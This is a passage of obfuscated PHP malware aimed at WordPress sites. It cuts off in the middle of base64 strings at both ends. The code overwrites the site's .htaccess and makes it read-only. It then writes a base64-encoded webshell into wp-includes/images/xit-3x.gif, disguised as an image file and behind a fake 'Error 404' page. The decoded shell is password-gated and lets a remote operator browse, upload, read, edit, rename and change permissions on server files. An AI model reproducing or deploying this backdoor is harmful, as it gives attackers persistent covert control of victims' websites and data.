5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54i